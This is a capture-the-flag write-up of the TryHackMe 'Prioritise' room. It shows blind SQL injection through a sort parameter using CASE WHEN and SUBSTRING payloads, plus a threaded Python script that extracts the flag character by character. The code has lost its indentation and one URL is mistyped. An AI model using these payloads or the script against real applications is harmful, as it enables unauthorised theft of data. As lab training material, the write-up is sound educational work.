Prioritise (TryHackMe) writeup

GrimTheRipper
6 min readSep 30, 2024

--

TryHackMe Room : https://tryhackme.com/r/room/prioritise

In order to assess the security posture of the network, the first step is to scan the ports using the nmap tool.

nmap -sV -Pn <target-ip>

A vulnerability scan reveals that port 80 is open, indicating an active HTTP service.The web application’s user interface includes a form element with the label “Add a new item” that accepts a text input.

As depicted in the image, clicking the “Sort” button allows us to order tasks based on various criteria such as title, date, etc. When we change the sorting criteria, the new value is reflected in the URL. Upon modifying the order=title parameter to some SQL comments, it was observed that no data was altered, indicating that the order parameter is susceptible to SQL injection.

To exploit the SQL injection vulnerability, we will attempt to append ‘DESC’ to the ‘order by’ parameter. If the system processes this input without errors, it confirms the presence of a vulnerability that we can leverage for further attacks.

By using ‘DESC’, we exploit the system’s expectation of a column name for sorting. If the system allows ‘DESC’ or other SQL commands in this context, it indicates a vulnerability that could be exploited for malicious purposes.

Consider the following SQL query executed on the backend: SELECT * FROM tasks ORDER BY 'user_input', where 'user_input' is a variable provided by the user. This query will retrieve all tasks and order them based on the value of 'user_input', which could potentially lead to SQL injection vulnerabilities if not properly sanitized.

Using SQL CASE Statements for Data Extraction

Technique Overview: The SQL CASE technique allows you to manipulate SQL queries based on conditions to extract data, often used in SQL Injection attacks. By leveraging the CASE statement, you can craft queries to determine the values of specific fields by exploiting the order or sorting functionality in a vulnerable application.

How It Works:

Understanding the CASE Statement:

  • The SQL CASE statement lets you perform conditional logic within your queries.
  • Syntax :
CASE
WHEN condition1 THEN result1
WHEN condition2 THEN result2
ELSE default_result
END

It evaluates conditions sequentially and returns the result for the first true condition. If no conditions are true, it returns the result defined in the ELSE clause.

Applying the CASE Statement in SQL Injection:

Payload Construction:

http://1<target-ip>/?order=(CASE WHEN (SELECT (SUBSTRING(flag,1,1)) from flag) = 'a' then title else date end) ASC

Explanation:

  • The payload uses the SUBSTRING() function to extract a specific part of a string from a database column.
  • In this case, SUBSTRING(flag,1,1) extracts the first character from the flag column in the flag table.
  • The payload checks if this extracted character equals ‘a’. If true, the results are sorted by the title column; otherwise, they are sorted by the date column.
  • This method helps in determining the value of the first character of the flag column by observing how the sorting changes based on different values tested.

Using Hit and Trial:

  • By varying the character in the condition and observing changes in the output sorting, attackers can infer the correct value.
  • This technique is useful for extracting data character by character.

Let’s try this approach: keep changing the letter ‘a’ in the condition to all possible characters until the sorting is done based on the title parameter.

If we modify the data to ‘f’, the sorting criteria will switch to title column. Consequently, the first character we’re looking for is ‘f

We can extract the entire flag using the hit-and-trial method, but for now, we will continue doing this manually!

Next, Create a Python script that will automatically perform this function.

import requests as req
import string
import concurrent.futures

url = 'http://<target-ip>/?order='
yes = req.get(url + "title").text

def check(counter, c):
query = f'(CASE WHEN (SELECT SUBSTRING(flag,1,{counter}) FROM flag)="{flag+c}" THEN title ELSE date END)'
try:
res = req.get(url + query, timeout=10).text # เพิ่ม timeout
except req.exceptions.RequestException as e: # ใช้ชื่อโมดูลที่ถูกต้อง
print(f"Request failed: {e}")
return None

if res == yes:
return c
return None

flag = ""
counter = 1
chars = string.ascii_letters + string.digits + "{}"

while True:
with concurrent.futures.ThreadPoolExecutor() as executor:
results = [executor.submit(check, counter, c) for c in chars]

found = False
for future in concurrent.futures.as_completed(results):
result = future.result()
if result:
flag += result
print("[+] Current Flag is", flag)
counter += 1
found = True
break

if not found:
print("No more characters found, exiting.")
break

if flag[-1] == "}":
print("[+] Final Flag is", flag)
break

Brief Explanation of the Code

Imports:

  • requests for HTTP requests.
  • string for generating the character set to test.
  • concurrent.futures for parallel execution of tasks.

Setup:

url = 'http://<target-ip>/?order='
yes = req.get(url + "title").text
  • Define the target URL.
  • Perform an initial HTTP request to get the response when sorting by title for comparison.

Function check:

def check(counter, c):
query = f'(CASE WHEN (SELECT SUBSTRING(flag,1,{counter}) FROM flag)="{flag+c}" THEN title ELSE date END)'
try:
res = req.get(url + query, timeout=10).text
except req.exceptions.RequestException as e:
print(f"Request failed: {e}")
return None
if res == yes:
return c
return None
  • Constructs an SQL query using the CASE statement to test if the current substring of flag matches a given character c.
  • Compares the result of the query with the initial response (yes).
  • Returns the character c if the result matches, otherwise returns None.

Main Loop:

flag = ""
counter = 1
chars = string.ascii_letters + string.digits + "{}"

while True:
with concurrent.futures.ThreadPoolExecutor() as executor:
results = [executor.submit(check, counter, c) for c in chars]
found = False
for future in concurrent.futures.as_completed(results):
result = future.result()
if result:
flag += result
print("[+] Current Flag is", flag)
counter += 1
found = True
break
if not found:
print("No more characters found, exiting.")
break
if flag[-1] == "}":
print("[+] Final Flag is", flag)
break
  • Iterates through all possible characters (chars) to find the correct one.
  • Uses ThreadPoolExecutor to run multiple checks in parallel for efficiency.
  • Updates the flag with the correct character and continues until the flag is fully extracted or no more characters are found.
  • Stops when the flag ends with a closing brace (}), indicating completion.

Finally, to run the Python script and start the process of extracting the flag, use the command:

python3 exploit.py

This command executes the Python script named exploit.py, which automates the SQL injection attack to extract the flag by testing different characters and observing the sorting behavior.

ପ( •̤ᴗ•̤ )੭⁾⁾.。.:✽・゚+ Great job! You’ve successfully extracted the flag!

--

--

GrimTheRipper

You get the best out of others when you give the best of yourself